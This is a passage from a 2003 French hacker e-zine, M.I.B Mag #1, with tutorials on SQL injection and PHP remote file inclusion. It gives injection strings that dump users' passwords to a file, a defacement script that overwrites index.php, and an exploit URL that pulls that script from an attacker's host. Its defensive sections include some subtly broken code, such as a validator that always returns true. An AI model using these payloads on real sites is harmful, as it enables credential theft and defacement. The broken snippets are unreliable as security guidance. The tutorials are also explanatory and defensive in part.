Bon alors on va faire dans l’ordre, déjà on voit deux variables qui ne doivent pas être vides : $pseudo et $password. Ensuite on extrait le mot de passe de la table admin_conf en fonction du $pseudo, après si il y a un résultat, donc que le pseudo est un log admin, on extrait l’id_conf de l’admin de la même table. Mais attention ! Grosse faute du programmeur car le password n’est pas vérifié !!! Ainsi si on connaît le login de l’admin, on peut accéder dans la zone membre ;)
Super, mais l’injection SQL, c’est pour quand ? ;)
Dans le fichier login.php, il y a une possibilité d’injection SQL SI la configuration du serveur Web est magic_quotes_gpc=OFF

Code :

$sql = « select password from $dbtable where login = ‘userlogin’ » ;
$req = mysql_query($sql);


Si on donne a $userlogin la valeur : "OR 1=1 INTO OUTFILE ‘/complete/patch/file.txt" et une valeur quelconque a $password, tous les mots de passé seront enregistrés dans le fichier /complete/patch/file.txt.
Attention ! Enorme faille ! Grâce à cette injection vous pouvez avoir le mpd de quelqu’un ! Il suffit d’ajouter le pseudo au début de la valeur et de virer le "OR 1=1"
Exemple : Bob’ INTO OUTFILE’/complete/patch/file.txt

Les différentes requêtes liées a PHP :

mysql_affected_rows
mysql_change_user
mysql_close
mysql_connect
mysql_create_db
mysql_data_seek
mysql_db_name
mysql_db_query
mysql_drop_db
mysql_escape_string
mysql_fetch_array
mysql_fetch_assoc
mysql_fetch_field
mysql_fetch_lengths
mysql_fetch_object
mysql_fetch_row
mysql_field_flags
mysql_field_name
mysql_field_len
mysql_field_seek
mysql_field_table
mysql_field_type
mysql_free_result
mysql_get_client_info
mysql_get_host_info
mysql_get_proto_info
mysql_get_server_info
mysql_insert_id
mysql_list_dbs
mysql_list_fields
mysql_list_tables
mysql_num_fields
mysql_num_rows
mysql_pconnect
mysql_query
mysql_result
mysql_select_db
mysql_tablename
mysql_unbuffered_query

 


V. Sécurisation des failles

A tout problème existe une solution, enfin presque...rien n’est impossible en informatique de toute manière.Le principe, comme je l’es dit dans l’introduction est filtré les donnes rentrantes de façon a évité les script malveillant. Prénoms un exemple simple :
J’ai un formulaire qui me demande mon nom de famille, donc si je met des chiffres sa va sembler bizarre non ? (A moins que me m’appelle C3PO, mais bon c’est rare...?).
Donc pour résoudre ce problème, il y a plusieurs méthodes qui s’offre a vous :

- Soit sécuriser avec du javascript au niveau du client, vérification du champs « nom » et si ce champs contient des chiffres alors il est refusé.Comme par exemple :

<SCRIPT LANGUAGE="JavaScript">
function checkstring(text){
pat=/^[A-Za-z0-9]{6,10}$/;
result=text.match(pat);
return TRUE;
}

function Send(){
if (checkstring(txtName) && checkstring(txtPassword)){
login.submit();
}
}
</SCRIPT>

Le but étant d’enlever les caractères dangereux.

Mais ce n’est vraiment pas une bonne idée d’utiliser ce genre de script car il peut être lui même détourner par un autre script.
Mais ce n’est pas la seul contrainte de ce genre de sécurité car supposons que le formulaire envoie des données en POST, si nous remplissons le formulaire avec des caractères non conformes le script va fonctionner. Mais maintenant, si on fait un système, c'est-à-dire que lieu de remplir directement le formulaire, on envoie directement les variables avec quelque chose comme ça : formulaire.php ?=cequevousvoulez, la variable sera interpréter par le serveur et non pas par le client.
Donc cette sécurité est vraiment inefficace, je vous conseil de directement sécuriser au niveau du serveur.

- Maintenant parlons de la sécurité la plus sûr, c’est notre script PHP qui va analyser les données entrées. Et si elles sont non conformes, il les refuse et envoie un message d’erreur.

- Mais le mieux est encore de sécurisé au 2 niveau, c'est-à-dire au niveau du client et au niveau du serveur, c’est le moyen le plus sûre. Mais si il y a un conseil que je peux donnée au webdevelopper, c’est de ne pas sous estimer cette faille car elle peut faire très mal?.


VI. Conclusion

J’ai pu vous démontrez dans cette article que les bases de données SQL sont très facilement piratable en connaissance de quelques information sur les différente tables/champs. Bien entendu les faille de se genre se font de plus en plus rare car les webmasters sont vigilent. Tout de même certaines injection reste possible, vous pouvez vous en rendre compte sur www.security-corporation.com qui reste à jour sur toute les nouvelles failles, injection et techniques de buffer overflow (US).

 

VII. Inspiration, Sources, Remerciement

Inspiration de départ : Hackademy manuel n°5
Quelques sources : Hackademy journal n°11, tutorial de Crazy Lord //SQL hacking, tutorial de Memonix //SQL #1
Remerciements : SpS6m3N pour m’avoir donner quelques sources de tutoriaux et Nocte qui m’a redonné confiance en moi.

Skin

Copyright © 2003 Arenhack

 

_________________________________________________________________________________________________________

 

------/~~~~~~~~~~~~~~~~~~~\
---------=< |- Include Vulnerability-| >=--
------\~~~~~~~~~~~~~~~~~~~~/

 

SOMMAIRE :

I. Inclusion d'une autre page.
II. Inclusion de variables.
III. Exploitation.
IV. Sécurité

_ 1) Contrôle de la variable.


La faille dite d'include est tres courante sur les sites php. L'include sert principalement à inclure une page dans une autre pour faciliter les mises à jour par exemple ou encore plus fréquament à inclure des variables provenants d'un fichier de configuration.

I. Inclusion d'une autre page.

<?
include($page);
?>

Dans un code html :

<html>
<head>
<title>Page1</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
[color=red]<? include("maj.php"); ?> [/color]// La page que nous incluons dans page1.php
</body>
</html>

II. nclusion de variables

<?
//------------------------------------------------
//------------- Page config.php ---------------
//-----------------------------------------------
$login = "admin";
$pass = "pass";
//-------------------- END ---------------------
?>

 

<?
//---------------------------------------------------
//------------- Page protec.php ---------------
//---------------------------------------------------
include("config.php"); // La page config.php ou sont stokés les variables

if($good1==$login & $good2==$pass)
{
include ("identification_ok.php"); // si le login et le pass est identique au config.php
}
else
{
echo "<center>Mauvais login/pass</center><br>";
include ("admin.php");
}
//-------------------- END -----------------------
?>


NB : la fonction include() est quasiment identique à require()

Voilà pour les principales utilisations de l'include en php.
Si l'utilisateur se limite au donnés transmises grace à ces includes sans les modifier, il n'y a aucun problème. Mais s'il les modifient (Par exemple: http://www.lesite.com/page.php?page=.htpsswrd) il a accés à un grand nombre d'informations et peut par la meme occasion défacer le site.
Pour trouver la faille il suffit d'essayer d'inclure une URL : http://www.lesite.com/page.php?page=http://www.google.com. Si on arrive sur une erreur 404, c'est que la faille semble être protégée. Si au contraire la page d'acceuil de google est include dans la page du site c'est qu'elle est présente !

III. Exploitation

Imaginons que le test précédent ai fonctionné et que google s'est affiché au beau milieu de la page du site. Le pirate va uploder sur un compte web perso un script du type :

<?
//-------------Hack.php--------------
$fp=fopen("index.php", w);
$msg="Le message qu'il veut mettre en en tete du site";
fwrite($fp,$msg);
fclose($fp);
?>

Il va ensuite "l'inclure" dans le site à défacer : http://www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack.php

Normalement, si tout c'est bien passé, le message devrait être inscrit sur la page d'acceuil du site. Naturellement il est tout à fait possible d'y mettre du html...


IV. Sécurité


Il ne faut pas oublier d'aller vérifier dans le fichier php.ini que allow_url_fopen soit sur off pour empecher l''inclusion de données externes.

En premier , rappelons la syntaxe de la fonction include dans le script : (cas des pseudos frames)

<?
$fp=fopen("la page.php", w);
if(file_exists($page)) //si la variable($) page existe
{
include($page); //alors on l'inclue
}
else
{
include ("404.php"); // on inclue une page d'erreur.
}
?>


Donc une premiere methode de sécurisation consiste à ajouter l'extention .php apres la variable d'include tel que $page = $page..php;

Donc en reprenant l'example plus haut : www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack.php

Cette url conduira desormais à une erreure 404 vue que .php sera rajouté à la fin de l'URL ( ../hack.php.php ) .

Le problème , c'est que si on ecrit : www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack

.php sera encore rajouté à la fin de l'URL et cette fois çi , la page sera bien incluse !

Par contre cette securite , sans interdire totalement l'injection de code , empeche l'accés aux fichiers sensibles tel que .htaccess .htpasswd ...


1) Contrôle de la variable

<?
switch ($page) {
case "page1.php":
case "page2.php":
case "pages/page.php":
include($page);
break;

default:
exit("404"); // Si la variable ne correspond ni à "page1" ni a "page2" ni a "pages/page.php"
}
?>

Sps6m3n

Copyright © 2003 ArenHack


_________________________________________________________________________________________________________

 

------/~~~~~~~~~~~~\
---------=< |- To Conclude-| >=--
------\~~~~~~~~~~~~/

Et voilà ce premier numéro de M.I.B Mag est fini, nous espérons qu'il aura satisfait vos attentes autant au niveau du contenu que de la forme. ArenHack Team reviendra dans M.I.B Mag #2 qui devrait sortir à la fin des prochaines vacances. Au programme : 2ème partie de l'introduction à TCP/IP, la sécurité sous FreeBSD, le tunneling... Enfin que du bon quoi. Merci à tous ceux qui nous soutiennent et qui nous permettent d'évoluer, nous pensons bien sur à Nocte de DHS Team dont la connaissance et les conseils nous sont plus que précieux, un grand merci à lui sans qui nous nous serions peut-etre égaré dans cette aventure.

Pour conclure nous citerons Omar Kheyyam qui a dit :

"Avant notre venue, rien ne manquait au monde ; après notre départ rien ne lui manquera..."

Nous sommes d'accord avec la seconde partie...

_________________________________________________________________________________________________________

------/~~~~~~~~\
---------=< |- Crédits-| >=--
-------\~~~~~~~~/

Rédacteur en chef M.I.B Mag #1 : CL@D => cladealer@msn.com

Autres rédacteurs : _JaCkEr =>krypter@club-internet.fr

__________________Skin =>skino2600@hotmail.com

__________________TheTchesk =>thetchesk@hotmail.com

__________________Nocte =>slickers@6sens.com

__________________SpS6m3n =>sps6m3n@arenhack.com

Webmaster ArenHack : SpS6m3n

Une idée de SpS6m3n

Copyright © 2003 ArenHack